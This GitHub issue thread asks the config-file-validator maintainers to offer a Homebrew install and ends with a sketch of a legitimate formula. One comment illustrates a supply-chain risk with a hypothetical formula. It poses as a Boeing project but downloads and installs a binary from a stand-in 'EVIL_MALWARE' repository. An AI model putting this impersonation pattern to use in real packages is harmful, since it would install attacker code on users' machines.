Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

provide install via Homebrew #184

Open
zachvalenta opened this issue Oct 19, 2024 · 4 comments
Open

provide install via Homebrew #184

zachvalenta opened this issue Oct 19, 2024 · 4 comments
Labels
distribution A new or improved way to distrubute the CFV

Comments

@zachvalenta
Copy link

Project looks great, just thinking it would be nice to have install available via macOS package manager as well.

@kehoecj
Copy link
Collaborator

kehoecj commented Oct 20, 2024

@zachvalenta totally agree! I looked into homebrew and it looked like as the maintainer I couldn't submit my own project. Feel free start the process if you'd like

@zachvalenta
Copy link
Author

afaik not only can the owner|maintainer create their own tap:

you wouldn't want anyone else to do it, presumably for security reasons e.g. someone could create a tap $COOL_BOEING_PROJECT but then point to their own, non-Boeing repo in the formula:

class COOL_BOEING_PROJECT < Formula
    desc "a cool Boeing project"  # pretending to be Boeing
    homepage "https://github.com/boeing/cool_project" # pretending to be Boeing
    on_macos do
      url "https://github.com/BAD_GUY/EVIL_MALWARE/releases/download/0.1.0/create_havoc.tar.gz" # but not really Boeing!
      sha256 "long_sha_string"
    end
    def install
      bin.install "create_havoc" # oh no!
    end
  end

Keep in mind I'm almost completely an end user of Homebrew versus someone using it to publish my own projects, so take my understand of this matter with a grain of salt!

@kehoecj
Copy link
Collaborator

kehoecj commented Oct 21, 2024

@zachvalenta Thanks for the explanation! Sounds like I need to look into the process again. I'd love to make the cfv available via homebrew

@kehoecj kehoecj added the distribution A new or improved way to distrubute the CFV label Oct 22, 2024
@zachvalenta
Copy link
Author

rough sketch of how to go about this:

class CFV < Formula
    desc "Cross Platform tool to validate configuration files"
    homepage "https://boeing.github.io/config-file-validator/"
  
    on_macos do
      on_arm do
        url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-darwin-arm64.tar.gz"
        sha256 "afbba554c2cf6c6a1b6c3f677a550975af8e0d7b3726d8d1cd9f3d5a074eb231"
      end
      on_intel do
        url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-darwin-amd64.tar.gz"
        sha256 "a72f4771b098a08b0e679700979d8510056ebfa4099c5c8371027e2c9cc78cc1"
      end
    end

    on_linux do
      on_intel do
        url "https://github.com/Boeing/config-file-validator/releases/download/v1.7.1/validator-v1.7.1-linux-amd64.tar.gz"
        sha256 "37f4e3290efac61ffd51543b8923ad2913246072309eabf0c52d0b2f9e630405"
      end
    end
    
    def install
      bin.install "validator"
    end
  end

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
distribution A new or improved way to distrubute the CFV
Projects
None yet
Development

No branches or pull requests

2 participants